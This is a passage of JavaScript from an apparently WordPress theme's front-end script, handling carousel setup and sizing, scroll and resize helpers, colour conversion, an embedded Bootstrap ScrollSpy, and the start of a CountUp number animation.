					if ($that.parents('.carousel-wrap').attr('data-full-width') == 'true') {
						$that
							.parents('.carousel-outer')
							.css('overflow', 'visible');
					}
					
					// Add count for non full width ascend skin.
					if ($('body.ascend').length > 0 && $that.parents('.carousel-wrap').attr('data-full-width') != 'true' || 
					$('body.material').length > 0 && $that.parents('.carousel-wrap').attr('data-full-width') != 'true') {
						$('<div class="item-count"><span class="current">1</span>/<span class="total">' + ($that.find('> li').length / $that.triggerHandler("currentVisible").length) + '</span></div>').insertAfter($that.parents('.carousel-wrap').find('.carousel-prev'));
					}
					
					$that.addClass('finished-loading');
					
					carouselHeightCalcs();
					
				}); 
				
			}); 
			
			// Resize
			$window.off('smartresize.carouselHeightCalcs');
			$window.on('smartresize.carouselHeightCalcs', carouselHeightCalcs);

		}
		
		
		
		
		
		
		
		/**
		* Full width carousel link event.
		*
		* @since 4.0
		*/
		function fwCarouselLinkFix() {
			
			var $mousePosStart      = 0,
			$mousePosEnd            = 0,
			fwCarouselLinkSelector  = '.carousel-wrap .portfolio-items .col .work-info a, .woocommerce .products-carousel ul.products li.product a';
			
			$(fwCarouselLinkSelector).on('mousedown', function (e) {
				$mousePosStart = e.clientX;
			});
			
			$(fwCarouselLinkSelector).on('mouseup', function (e) {
				$mousePosEnd = e.clientX;
			});
			
			$(fwCarouselLinkSelector).on('click', function () {
				if (Math.abs($mousePosStart - $mousePosEnd) > 10) {
					return false;
				}
			});
			
		}
		

		
		
		
		/**
		* Owl carousel plugin initialization.
		*
		* @since 6.0
		*/
		function owlCarouselInit() {
			
			if ( $('.owl-carousel').length === 0 ) {
				return;
			}
			
			$('.owl-carousel').each(function () {
				
				$(this).addClass('owl-theme'); 
				
				var $that         = $(this),
				$autoRotateBool   = $that.attr('data-autorotate'),
				$autoRotateSpeed  = $that.attr('data-autorotation-speed'),
				$owlLoopBool      = ($that.is('[data-loop="true"]')) ? true : false;
				
				$(this).owlCarousel({
					responsive: {
						0: {
							items: $(this).attr('data-mobile-cols')
						},
						690: {
							items: $(this).attr('data-tablet-cols')
						},
						1000: {
							items: $(this).attr('data-desktop-small-cols')
						},
						1300: {
							items: $(this).attr('data-desktop-cols')
						}
					},
					autoplay: $autoRotateBool,
					autoplayTimeout: $autoRotateSpeed,
					loop: $owlLoopBool,
					smartSpeed: 350,
					onTranslate: function () {
						$that.addClass('moving');
					},
					onTranslated: function () {
						$that.removeClass('moving');
					}
					
				});
				
				$(this).on('changed.owl.carousel', function (event) {
					if (event.item.count - event.page.size == event.item.index) {
						
						$(event.target).find('.owl-dots div:last')
							.addClass('active')
							.siblings()
							.removeClass('active');
					}
					
				});
				
			});
			
		}
		
		
		/**
		* Owl carousel animate items.
		*
		* @since 6.0
		*/
		function owl_carousel_animate() {
			
			$($fullscreenSelector + '.owl-carousel[data-enable-animation="true"]').each(function () {
				
				var $owlOffsetPos 	= ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
				var $animationDelay = 0; 
				
				if($(this).is('[data-animation-delay]') && 
				$(this).attr('data-animation-delay').length > 0 && 
				$(this).attr('data-animation') != 'false') {
					$animationDelay = $(this).attr('data-animation-delay');
				}
				
				var $that = $(this);
				var waypoint = new Waypoint({
					element: $that,
					handler: function () {
						
						if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
							waypoint.destroy();
							return;
						}
						
						setTimeout(function () {
							$that.find('.owl-stage > .owl-item').each(function (i) {
								
								var $that = $(this);
								$that.delay(i * 200).transition({
									'opacity': '1',
									'y': '0'
								}, 600, 'easeOutQuart');
							});
							$that.addClass('animated-in');
							
						}, $animationDelay);
						
						waypoint.destroy();
					},
					offset: $owlOffsetPos
					
				});
				
			});
			
		}
		
		
		/**
		* Update WooCommerce Flickity count.
		*
		* Updates next/prev count for carousels on mobile devices.
		*
		* @since 9.0
		*/
		function updateWooFlickityCount(e) {
			var slideNumber = e.data.wooFlickity.selectedIndex + 1;
			e.data.wooFlickityCount.text(slideNumber + '/' + e.data.wooFlickity.slides.length);
		}
		
		
		
		/**
		* Product carousel initialization.
		*
		* @since 4.0
		*/
		function productCarouselInit() {
			
			if ($('.products-carousel').length === 0 && $('.nectar-woo-flickity').length === 0) {
				return;
			}
			
			$('.products-carousel').each(function () {
				
				var $that     = $(this).find('ul'),
				maxCols       = 'auto',
				scrollNum     = 'auto',
				colWidth      = ($(this).parents('.full-width-content ').length > 0) ? 400 : 353,
				scrollSpeed   = 800,
				easing        = 'easeInOutQuart';
				
				var $element = $that;
				if ($that.find('img').length == 0) {
					$element = $body;
				}
				
				// Controls on hover.
				$(this).append('<a class="carousel-prev" href="#"><i class="icon-salient-left-arrow"></i></a> <a class="carousel-next" href="#"><i class="icon-salient-right-arrow"></i></a>');
				
				imagesLoaded($element, function () {
					
					$that.carouFredSel({
						circular: true,
						responsive: true,
						items: {
							width: colWidth,
							visible: {
								min: 1,
								max: maxCols
							}
						},
						swipe: {
							onTouch: true,
							onMouse: true,
							options: {
								excludedElements: "button, input, select, textarea, .noSwipe",
								tap: function (event, target) {
									
									if ($(target).attr('href') && 
									!$(target).is('[target="_blank"]') && 
									!$(target).hasClass('add_to_wishlist') && 
									!$(target).hasClass('add_to_cart_button') && 
									!$(target).is('[rel^="prettyPhoto"]'))	{
										window.open($(target).attr('href'), '_self');
									}
									
									if ($(target).parent().attr('href') && 
									!$(target).parent().is('[target="_blank"]') && 
									!$(target).parent().hasClass('add_to_wishlist') && 
									!$(target).parent().hasClass('add_to_cart_button') && 
									!$(target).parent().is('[rel^="prettyPhoto"]')) {
										window.open($(target).parent().attr('href'), '_self');
									}
									
								}
							},
							onBefore: function () {
								$that.find('.product-wrap').trigger('mouseleave');
								$that.find('.product a').trigger('mouseup');
							}
						},
						scroll: {
							items: scrollNum,
							easing: easing,
							duration: scrollSpeed
						},
						prev: {
							button: function () {
								return $that.parents('.carousel-wrap').find('.carousel-prev');
							}
						},
						next: {
							button: function () {
								return $that.parents('.carousel-wrap').find('.carousel-next');
							}
						},
						auto: {
							play: false
						}
					}).animate({
						'opacity': 1
					}, 1300);
					
					$that.parents('.carousel-wrap').wrap('<div class="carousel-outer">');
					
					$that.addClass('finished-loading');
					fullWidthContentColumns();
					$window.trigger('resize');
					
				}); 
				
				
			}); 
			
			
			
			$wooFlickityCarousels = [];
			$('.nectar-woo-flickity').each(function (i) {
				
				var $that = $(this);
				
				$(this).find('.products > li').each(function () {
					$(this).wrap('<div class="flickity-cell"></div>');
				});
				
				fullWidthSections();
				
				var pageDotsBool 	= ($that.is('[data-controls="bottom-pagination"]')) ? true : false,
				arrowsBool				= ($that.is('[data-controls="bottom-pagination"]')) ? false : true,
				$autoplay 				= ($that.is('[data-autorotate-speed]') && parseInt($that.attr('data-autorotate-speed')) > 800) ? parseInt($that.attr('data-autorotate-speed')) : 5000;
				
				if (!$that.is('[data-autorotate="true"]')) {
					$autoplay = false;
				}
				
				$(this).find('ul').addClass('generate-markup');
				
				$wooFlickityCarousels[i] = $(this).find('ul');
				
				if (arrowsBool == true) {
					$wooFlickityCarousels[i].on('ready.flickity', function () {
						var flickityPrv = $that.find('.flickity-prev-next-button.previous').detach();
						var flickityNxt = $that.find('.flickity-prev-next-button.next').detach();
						
						$that.find('.nectar-woo-carousel-top').append(flickityPrv).append(flickityNxt);
					});
				}
				
				$wooFlickityCarousels[i].flickity({
					draggable: true,
					lazyLoad: false,
					imagesLoaded: true,
					cellAlign: 'left',
					groupCells: pageDotsBool,
					prevNextButtons: arrowsBool,
					pageDots: pageDotsBool,
					resize: true,
					percentPosition: true,
					setGallerySize: true,
					wrapAround: true,
					autoPlay: $autoplay,
					accessibility: false
				});
				
				
				// Mobile pagination numbers.
				if (arrowsBool == true) {
					
					$that.find('.flickity-prev-next-button').append('<svg width="65px" height="65px" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg"><circle stroke-width="3" fill="none" stroke-linecap="round" cx="33" cy="33" r="28"></circle> <circle class="time" stroke-width="3" fill="none" stroke-linecap="round" cx="33" cy="33" r="28"></circle></svg>');
					
					var $wooFlickityCount = $('<div class="woo-flickity-count" />');
					$that.append($wooFlickityCount);
					var $wooFlickityData = $wooFlickityCarousels[i].data('flickity');
					
					var $eventData = {
						data: {
							wooFlickity: $wooFlickityData, 
							wooFlickityCount: $wooFlickityCount
						}
					};
					
					updateWooFlickityCount($eventData);
					
					$wooFlickityCarousels[i].on('select.flickity', { wooFlickity: $wooFlickityData, wooFlickityCount: $wooFlickityCount }, updateWooFlickityCount );
				}
				
			});
			
		}
		


		

		/**
		* Standard Carousel Height Calculations.
		*
		* @since 2.0
		*/
		function carouselHeightCalcs() {
			
			// Standard carousels
			$('.carousel.finished-loading:not(".portfolio-items, .clients"), .caroufredsel_wrapper .products.finished-loading').each(function () {
				
				var tallestColumn = 0;
				
				$(this).find('> li').each(function () {
					
					if( $(this).height() > tallestColumn ) {
						tallestColumn = $(this).height();
					}
					
				});
				
				$(this).css('height', tallestColumn + 5);
				$(this).parents('.caroufredsel_wrapper').css('height', tallestColumn + 5);
				
				if ($('body.ascend').length > 0 && $(this).parents('.carousel-wrap').attr('data-full-width') != 'true' || 
				$('body.material').length > 0 && $(this).parents('.carousel-wrap').attr('data-full-width') != 'true') {
					
					$(this).parents('.carousel-wrap').find('.item-count .current').html(Math.ceil(($(this).triggerHandler("currentPosition") + 1) / $(this).triggerHandler("currentVisible").length));
					$(this).parents('.carousel-wrap').find('.item-count .total').html(Math.ceil($(this).find('> li').length / $(this).triggerHandler("currentVisible").length));
				}
				
			});
			
		}
		
		
		
		/**
		* Clients carousel element.
		*
		* @since 2.0
		*/
		function clientsCarouselInit() {
			
			if ( $('.carousel.clients').length === 0 ) {
				return;
			}
			
			$('.carousel.clients').each(function () {
				
				var $that       = $(this);
				var $autoRotate = (!$(this).hasClass('disable-autorotate')) ? true : false;
				var columns;
				
				columns = (parseInt($(this).attr('data-max'))) ? parseInt($(this).attr('data-max')) : 5;
				
				if ($window.width() < 690 && $body.attr('data-responsive') == '1') {
					columns = 2;
					$(this).addClass('phone');
				}
				
				var $element = $that;
				if ($that.find('img').length == 0) {
					$element = $body;
				}
				
				imagesLoaded($element, function () {
					
					$that.carouFredSel({
						circular: true,
						responsive: true,
						items: {
							
							height: $that.find('> div:first').height(),
							width: $that.find('> div:first').width(),
							visible: {
								min: 1,
								max: columns
							}
						},
						swipe: {
							onTouch: true,
							onMouse: true
						},
						scroll: {
							items: 1,
							easing: 'easeInOutCubic',
							duration: '800',
							pauseOnHover: true
						},
						auto: {
							play: $autoRotate,
							timeoutDuration: 2700
						}
					}).animate({
						'opacity': 1
					}, 1300);
					
					$that.addClass('finished-loading');
					$that.parents('.carousel-wrap').wrap('<div class="carousel-outer">');

					$window.trigger('resize');

				});
				
			});
			
			$window.off('smartresize.clientsCarouselHeight',clientsCarouselHeightRecalc);
			$window.on('smartresize.clientsCarouselHeight',clientsCarouselHeightRecalc);
		}
		
		


		
		
		/**
		* Clients carousel height calculations.
		*
		* @since 2.0
		*/
		function clientsCarouselHeightRecalc() {
			
			var tallestImage = 0;
			
			$('.carousel.clients.finished-loading').each(function () {
				
				$(this).find('> div').each(function () {
					
					if( $(this).height() > tallestImage ) {
						tallestImage = $(this).height();
					}
					
				});
				
				$(this).css('height', tallestImage);
				$(this).parent().css('height', tallestImage);
			});
		}
		
		$window.on("orientationchange", function () {
			setTimeout(clientsCarouselHeightRecalc, 200);
		});
		
		
		
		/**
		* Adds grabbing classes onto carousels when dragging.
		*
		* @since 3.0
		*/
		function carouselfGrabbingClass() {
			
			$body.on('mousedown', '.caroufredsel_wrapper, .carousel-wrap[data-full-width="true"] .portfolio-items .col .work-info a, .woocommerce .products-carousel ul.products li.product a', function () {
				$(this).addClass('active');
			});
			
			$body.on('mouseup', '.caroufredsel_wrapper, .carousel-wrap[data-full-width="true"] .portfolio-items .col .work-info a, .woocommerce .products-carousel ul.products li.product a', function () {
				$(this).removeClass('active');
			});
			
			// Arrow hover class.
			$('body.ascend, body.material').on('mouseover', '.carousel-next', function () {
				$(this).parent().find('.carousel-prev, .item-count').addClass('next-hovered');
			});
			
			$('body.ascend, body.material').on('mouseleave', '.carousel-next', function () {
				$(this).parent().find('.carousel-prev, .item-count').removeClass('next-hovered');
			});
			
		}
		
		
		
		



		/**
		* Client element fade in animation.
		*
		* @since 3.0
		* @see waypoints
		*/
		function clientsFadeIn() {
			
			var $clientsOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : 'bottom-in-view';
			$($fullscreenSelector + '.clients.fade-in-animation').each(function () {
				
				var $that = $(this),
				waypoint 	= new Waypoint({
					element: $that,
					handler: function () {
						
						if ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('animated-in')) {
							waypoint.destroy();
							return;
						}
						
						$that.find('> div').each(function (i) {
							$(this).delay(i * 80).transition({
								'opacity': "1"
							}, 450);
						});
						
						// Add the css transition class back in after the aniamtion is done.
						setTimeout(function () {
							$that.addClass('completed');
						}, ($that.find('> div').length * 80) + 450);
						
						
						$that.addClass('animated-in');
						waypoint.destroy();
					},
					offset: $clientsOffsetPos
					
				});
			});
		}
		
		
		
		/*-------------------------------------------------------------------------*/
		/*	Helper Functions
		/*-------------------------------------------------------------------------*/
		
		
		/**
		* Cross browser request animation frame.
		*
		* @since 4.0
		*/
		window.requestAnimationFrame = window.requestAnimationFrame ||
		window.mozRequestAnimationFrame ||
		window.webkitRequestAnimationFrame ||
		window.msRequestAnimationFrame ||
		function(f) {
			setTimeout(f, 1000 / 60);
		}
		
		
		/**
		* Smart resize.
		*
		* @since 1.0
		*/
		var $event = $.event,
		dispatchMethod = $.event.handle ? 'handle' : 'dispatch',
		resizeTimeout;
		
		$event.special.smartresize = {
			setup: function() {
				$(this).on( "resize", $event.special.smartresize.handler );
			},
			teardown: function() {
				$(this).off( "resize", $event.special.smartresize.handler );
			},
			handler: function( event, execAsap ) {

				var context = this,
				args = arguments;
				
				event.type = "smartresize";
				
				if ( resizeTimeout ) { 
					clearTimeout( resizeTimeout ); 
				}
				resizeTimeout = setTimeout(function() {
					$event[ dispatchMethod ].apply( context, args );
				}, execAsap === "execAsap"? 0 : 100 );
			}
		};
		
		$.fn.smartresize = function( fn ) {
			return fn ? this.on( "smartresize", fn ) : this.trigger( "smartresize", ["execAsap"] );
		};
		
		
		/**
		* Linear interpolation
		*
		* @since 11.0
		*/
		function linearInterpolate(a, b, n) {
			return (1 - n) * a + n * b;
		}
		
		/**
		* Aspect Ratio Calculator
		*
		* @since 11.0
		*/
		function calculateAspectRatio(srcWidth, srcHeight, maxWidth, maxHeight) {
			var ratio = Math.min(maxWidth / srcWidth, maxHeight / srcHeight);
			return { width: srcWidth*ratio, height: srcHeight*ratio };
		}
		
		/**
		* Calculate header navigation height
		*
		* The header nav bar height can change on scrolling from theme option effects/using the secondary
		* header, so it is necessary to calculate the reduced height in advance for correct sticky waypoint
		* event binding & animated anchor links.
		*
		* @since 10.5
		* @return {number} Height of nav bar.
		*/
		function calcHeaderNavHeight() {
			
			var navHeight;
			
			// Left header format, no header template, hide header until needed.
			if( ($body.is('[data-header-format="left-header"]') && nectarDOMInfo.winW >= 1000) ||
			$body.is('[data-hhun="1"]') && nectarDOMInfo.winW >= 1000 ||
			$('.page-template-template-no-header-footer').length > 0 || 
			$('.page-template-template-no-header').length > 0) {
				
				navHeight = 0;
				
			} 
			
			// Regular Header 
			else {
				
				var headerPadding2 	= headerPadding - headerPadding / 1.8;
				var $headerNavSpace = $headerOuterEl.outerHeight();

				// Secondary header bar.
				if( $headerSecondaryEl.length > 0 && $body.is('.material') ||
						$headerSecondaryEl.length > 0	&& !$body.is('.material') && nectarDOMInfo.winW < 1000) {
					$headerNavSpace -=	nectarDOMInfo.secondaryHeaderHeight;
				}
		
				// Check for header resize effect.
				if( $headerOuterEl.is('[data-header-resize="1"]') && !$headerOuterEl.is('.small-nav') && nectarDOMInfo.winW >= 1000 ) {
					navHeight = $headerNavSpace - (parseInt(logoShrinkNum) + headerPadding2 * 2);
				} else {
					navHeight = $headerNavSpace;
				}

			}
			
			// Condense header effect.
			if ( nectarDOMInfo.winW >= 1000 && $('#header-outer[data-condense="true"]').length > 0 ) {
				
				var $headerSpan9 = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9');
				navHeight = $headerOuterEl.height() - (parseInt($headerSpan9.position().top) - parseInt($headerOuterEl.find('#logo').css('margin-top'))) - parseInt(nectarDOMInfo.secondaryHeaderHeight);
				
			}
			
			return navHeight;
			
		}
		
		
		/**
		* Removes CSS outlines in an accessible manner.
		*
		* @since 10.5
		*/
		(function(d){

			var style_element = d.createElement('STYLE'),
					dom_events = 'addEventListener' in d,
					add_event_listener = function(type, callback){
						if(dom_events){
							d.addEventListener(type, callback);
						}else{
							d.attachEvent('on' + type, callback);
						}
					},
					set_css = function(css_text){
					!!style_element.styleSheet ? style_element.styleSheet.cssText = css_text : style_element.innerHTML = css_text;
				};

			d.getElementsByTagName('HEAD')[0].appendChild(style_element);

			add_event_listener('mousedown', function(){
				set_css(':focus{outline:0}::-moz-focus-inner{border:0;}');
			});

			add_event_listener('keydown', function(){
				set_css('');
			});

		})(document);
		
		
		
		/**
		* Cursor position.
		*
		* @since 4.0
		*/
		jQuery.fn.setCursorPosition = function (position) {
			
			if (this.length == 0) {
				return this;
			}
			return $(this).setSelection(position, position);
		};
		
		
		/**
		* Set selection in input.
		*
		* @since 4.0
		*/
		jQuery.fn.setSelection = function (selectionStart, selectionEnd) {
			if (this.length == 0) {
				return this;
			}
			var input = this[0];
			
			if (input.createTextRange) {
				var range = input.createTextRange();
				range.collapse(true);
				range.moveEnd('character', selectionEnd);
				range.moveStart('character', selectionStart);
				range.select();
			} else if (input.setSelectionRange) {
				input.focus();
				input.setSelectionRange(selectionStart, selectionEnd);
			}
			
			return this;
		};
		
		$.extend($.expr[':'], {
			transparent: function (elem, i, attr) {
				return ($(elem).css("opacity") === "0");
			}
		});
		
		
		
		/**
		* Converts to hex.
		*
		* @since 3.0
		*/
		function hex(x) {
			return ("0" + parseInt(x).toString(16)).slice(-2);
		}
		
		/**
		* CSS color RGB helper.
		*
		* @since 3.0
		*/
		$.cssHooks.color = {
			get: function (elem) {
				
				var color;
				
				if (elem.currentStyle) {
					color = elem.currentStyle["color"];
				} else if (window.getComputedStyle) {
					color = document.defaultView.getComputedStyle(elem,
						null).getPropertyValue("color");
					}
					if (color.search("rgb") == -1) {
						return color;
					} else {
						color = color.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);
						
						if (color) {
							return "#" + hex(color[1]) + hex(color[2]) + hex(color[3]);
						}
					}
				}
			};
			
			/**
			* CSS background color RGB helper.
			*
			* @since 3.0
			*/
			$.cssHooks.backgroundColor = {
				get: function (elem) {
					
					var bg;
					
					if (elem.currentStyle) {
						bg = elem.currentStyle["backgroundColor"];
					} else if (window.getComputedStyle) {
						bg = document.defaultView.getComputedStyle(elem,
							null).getPropertyValue("background-color");
						}
						if (bg.search("rgb") == -1) {
							return bg;
						} else {
							bg = bg.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);
							
							if (bg) {
								return "#" + hex(bg[1]) + hex(bg[2]) + hex(bg[3]);
							}
						}
					}
				};
				
				
			/**
			* Unique ID generator.
			*
			* @since 10.5
			*/
			function uniqueIdGenerate() {
				return Math.floor(Math.random() * 10000); 
			}
			
			
		
				
			/**
			* Animated page scroll
			*
			* @since 9.0
			*/
			function nectar_scrollToY(scrollTargetY, speed, easing) {
				
				var scrollY = window.scrollY || document.documentElement.scrollTop,
				scrollTargetY = scrollTargetY || 0,
				speed = speed || 2000,
				easing = easing || 'easeOutSine',
				currentTime = 0;
				
				var time = Math.max(0.1, Math.min(Math.abs(scrollY - scrollTargetY) / speed, 0.8));
				
				var easingEquations = {
					easeInOutQuint: function (pos) {
						if ((pos /= 0.5) < 1) {
							return 0.5 * Math.pow(pos, 5);
						}
						return 0.5 * (Math.pow((pos - 2), 5) + 2);
					}
				};
				
				function tick() {
					currentTime += 1 / 60;
					
					var p = currentTime / time;
					var t = easingEquations[easing](p);
					
					if (p < 1) {
						requestAnimationFrame(tick);
						
						window.scrollTo(0, scrollY + ((scrollTargetY - scrollY) * t));
					} else {
						window.scrollTo(0, scrollTargetY);
					}
				}
				
				tick();
		}
		

		/*
		* Bootstrap ScrollSpy Component
		* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */
		(function ($) {
			
			function s(e, i) {
				var r = $.proxy(this.process, this);
				this.$body = $("body"), this.$scrollElement = $($(e).is("body") ? window : e), 
				this.options = $.extend({}, s.DEFAULTS, i), 
				this.selector = (this.options.target || "") + " ul li > a", 
				this.offsets = [], 
				this.targets = [], 
				this.activeTarget = null, 
				this.scrollHeight = 0, 
				this.$scrollElement.on("scroll.bs.scrollspy", r), 
				this.refresh(), 
				this.process();
			}
			
			function e(e) {
				return this.each(function () {
					var i = $(this),
					r = i.data("bs.scrollspy"),
					o = "object" == typeof e && e;
					r || i.data("bs.scrollspy", r = new s(this, o)), "string" == typeof e && r[e]()
				})
			}
			
			s.VERSION = "3.2.0", 
			s.DEFAULTS = {
				offset: 10
			}, 
			s.prototype.getScrollHeight = function () {
				return this.$scrollElement[0].scrollHeight || Math.max(this.$body[0].scrollHeight, document.documentElement.scrollHeight)
			}, 
			s.prototype.refresh = function () {
				var s = "offset",
				e = 0;
				$.isWindow(this.$scrollElement[0]) || (s = "position", e = this.$scrollElement.scrollTop()), this.offsets = [], this.targets = [], this.scrollHeight = this.getScrollHeight();
				var i = this;
				this.$body.find(this.selector).map(function () {
					var i = $(this),
					r = i.data("target") || i.attr("href"),
					o = /^#./.test(r) && $(r);
					return o && o.length && o.is(":visible") && [
						[o[s]().top + e, r]
					] || null
				}).sort(function (t, s) {
					return t[0] - s[0]
				}).each(function () {
					i.offsets.push(this[0]), i.targets.push(this[1])
				})
			}, 
			s.prototype.process = function () {
				
				var $pageSubMenu = 0;
				
				if( $('.page-submenu[data-sticky="true"]').length > 0 && $('body[data-hhun="1"]').length == 0 
				|| $('.page-submenu[data-sticky="true"]').length > 0 && $('#header-outer[data-remove-fixed="1"]').length > 0 ) {
					$pageSubMenu = $('.page-submenu').height();
				} 
				
				var t, s = this.$scrollElement.scrollTop() + this.options.offset + $pageSubMenu,
				e = this.getScrollHeight(),
				i = this.options.offset + e - this.$scrollElement.height() - $pageSubMenu,
				r = this.offsets,
				o = this.targets,
				l = this.activeTarget;
				
				// remove active when scrolling to first section that does not have an anchor
				if (this.activeTarget && s < this.offsets[0] && this.offsets[0] > 0) {
					this.activeTarget = null;
					$(this.selector).parentsUntil(this.options.target, ".current-menu-item").removeClass("current-menu-item").removeClass('sfHover');
					return;
				}
				
				if (this.scrollHeight != e && this.refresh(), s >= i) {
					return l != (t = o[o.length - 1]) && this.activate(t);
				}
				if (l && s <= r[0]) {
					return l != (t = o[0]) && this.activate(t);
				}
			
				
				for (t = r.length; t--;) l != o[t] && s >= r[t] && (!r[t + 1] || s <= r[t + 1]) && this.activate(o[t])
			}, 
			s.prototype.activate = function (s) {
				this.activeTarget = s, $(this.selector).parentsUntil(this.options.target, ".current-menu-item").removeClass("current-menu-item").removeClass('sfHover');
				var e = this.selector + '[data-target="' + s + '"],' + this.selector + '[href="' + s + '"]',
				i = $(e).parents("li").addClass("current-menu-item");
				i.parent(".dropdown-menu").length && (i = i.closest("li.dropdown").addClass("current-menu-item")), i.trigger("activate.bs.scrollspy")
			};
			
			var i = $.fn.scrollspy;
			
			$.fn.scrollspy = e, 
			$.fn.scrollspy.Constructor = s, 
			$.fn.scrollspy.noConflict = function () {
				return $.fn.scrollspy = i, this
			}
			
		}(jQuery));
					
		
		/**
		* Mobile break point checker
		*
		* @since 9.0
		*/		
		function mobileBreakPointCheck() {
			
			var $mobileBreakpoint       = ($('body[data-header-breakpoint]').length > 0 && $body.attr('data-header-breakpoint') != '1000') ? parseInt($body.attr('data-header-breakpoint')) : 1000;
			var $withinCustomBreakpoint = false;
			
			if ($mobileBreakpoint != 1000) {
				if ($('body[data-user-set-ocm="1"][data-slide-out-widget-area-style="slide-out-from-right-hover"]').length == 0 && nectarDOMInfo.winW > 1000 && nectarDOMInfo.winW <= $mobileBreakpoint) {
					$withinCustomBreakpoint = true;
				}
			}
			
			return $withinCustomBreakpoint;
		}
		
		/**
		* Extract a URL
		*
		* @since 5.0
		*/
		function extractUrl(input) {
			return input.replace(/"/g, "").replace(/url\(|\)$/ig, "");
		}
		
		/**
		* Extract query params
		*
		* @since 10.5
		*/		
		function getQueryParams(qs) {
			qs = qs.split("+").join(" ");
			var params = {},
			tokens,
			re = /[?&]?([^=]+)=([^&]*)/g;
			
			while (tokens = re.exec(qs)) {
				params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]);
			}
			
			return params;
		}
		
		var nectarGetQueryParam = getQueryParams(document.location.search);
		
		
		/**
		* Check whether an el is visible.
		*
		* @since 6.0
		*/
		(function (t) {
			var i = t(window);
			t.fn.visible = function (t, e, o) {
				if (!(this.length < 1)) {
					var r = this.length > 1 ? this.eq(0) : this,
					n = r.get(0),
					f = i.width(),
					h = i.height(),
					o = o ? o : "both",
					l = e === !0 ? n.offsetWidth * n.offsetHeight : !0;
					if ("function" == typeof n.getBoundingClientRect) {
						var g = n.getBoundingClientRect(),
						u = g.top >= 0 && g.top < h,
						s = g.bottom > 0 && g.bottom <= h,
						c = g.left >= 0 && g.left < f,
						a = g.right > 0 && g.right <= f,
						v = t ? u || s : u && s,
						b = t ? c || a : c && a;
						if ("both" === o) {
							return l && v && b;
						}
						if ("vertical" === o) {
							return l && v;
						}
						if ("horizontal" === o) {
							return l && b
						}
					} else {
						var d = i.scrollTop(),
						p = d + h,
						w = i.scrollLeft(),
						m = w + f,
						y = r.offset(),
						z = y.top,
						B = z + r.height(),
						C = y.left,
						R = C + r.width(),
						j = t === !0 ? B : z,
						q = t === !0 ? z : B,
						H = t === !0 ? R : C,
						L = t === !0 ? C : R;
						if ("both" === o) {
							return !!l && p >= q && j >= d && m >= L && H >= w;
						}
						if ("vertical" === o) {
							return !!l && p >= q && j >= d;
						}
						if ("horizontal" === o) {
							return !!l && m >= L && H >= w;
						}
					}
				}
			};
			
		}(jQuery));
		
		
		/**
		* Count to a specific number
		*
		* @since 8.0
		*/
		var CountUp = function (target, startVal, endVal, decimals, duration, options) {
			
			var lastTime = 0;
			var vendors = ['webkit', 'moz', 'ms', 'o'];
			for (var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
				window.requestAnimationFrame = window[vendors[x] + 'RequestAnimationFrame'];
				window.cancelAnimationFrame =
				window[vendors[x] + 'CancelAnimationFrame'] || window[vendors[x] + 'CancelRequestAnimationFrame'];
			}
			if (!window.requestAnimationFrame) {
				window.requestAnimationFrame = function (callback) {
					var currTime = new Date().getTime();
					var timeToCall = Math.max(0, 16 - (currTime - lastTime));
					var id = window.setTimeout(function () {
						callback(currTime + timeToCall);
					},
					timeToCall);
					lastTime = currTime + timeToCall;
					return id;
				};
			}
			if (!window.cancelAnimationFrame) {
				window.cancelAnimationFrame = function (id) {
					clearTimeout(id);
				};
			}
			
			var self = this;
			
			self.options = {
				useEasing: true, 
				useGrouping: true, 
				separator: ',', 
				decimal: '.', 
				easingFn: null, 
				formattingFn: null 
			};
			// Extend default options with passed options object
			for (var key in options) {
				if (options.hasOwnProperty(key)) {
					self.options[key] = options[key];
				}
			}
			if (self.options.separator === '') {
				self.options.useGrouping = false;
			}
			if (!self.options.prefix) {
				self.options.prefix = '';
			}
			if (!self.options.suffix) {
				self.options.suffix = '';
			}
			
			self.d = (typeof target === 'string') ? document.getElementById(target) : target;
			self.startVal = Number(startVal);
			self.endVal = Number(endVal);
			self.countDown = (self.startVal > self.endVal);
			self.frameVal = self.startVal;
			self.decimals = Math.max(0, decimals || 0);
			self.dec = Math.pow(10, self.decimals);
			self.duration = Number(duration) * 1000 || 2000;
			
			self.formatNumber = function (nStr) {
				nStr = nStr.toFixed(self.decimals);
				nStr += '';
				var x, x1, x2, rgx;
				x = nStr.split('.');
				x1 = x[0];
				x2 = x.length > 1 ? self.options.decimal + x[1] : '';
				rgx = /(\d+)(\d{3})/;
				if (self.options.useGrouping) {
					while (rgx.test(x1)) {
						x1 = x1.replace(rgx, '$1' + self.options.separator + '$2');
					}
				}
				return self.options.prefix + x1 + x2 + self.options.suffix;
			};
			// Robert Penner's easeOutExpo
			self.easeOutExpo = function (t, b, c, d) {
				return c * (-Math.pow(2, -10 * t / d) + 1) * 1024 / 1023 + b;
			};
			
			self.easingFn = self.options.easingFn ? self.options.easingFn : self.easeOutExpo;
			self.formattingFn = self.options.formattingFn ? self.options.formattingFn : self.formatNumber;
			
			self.version = function () {
				return '1.7.1';
			};
			
			// Print value to target
			self.printValue = function (value) {
				var result = self.formattingFn(value);
				
				if (self.d.tagName === 'INPUT') {
					this.d.value = result;
				} else if (self.d.tagName === 'text' || self.d.tagName === 'tspan') {
					this.d.textContent = result;
				} else {
					this.d.innerHTML = result;
				}
			};
			
			self.count = function (timestamp) {
				
				if (!self.startTime) {
					self.startTime = timestamp;
				}
				
				self.timestamp = timestamp;
				var progress = timestamp - self.startTime;
				self.remaining = self.duration - progress;
				
				// To ease or not to ease
				if (self.options.useEasing) {
					if (self.countDown) {
						self.frameVal = self.startVal - self.easingFn(progress, 0, self.startVal - self.endVal, self.duration);
					} else {
						self.frameVal = self.easingFn(progress, self.startVal, self.endVal - self.startVal, self.duration);
					}
				} else {
					if (self.countDown) {
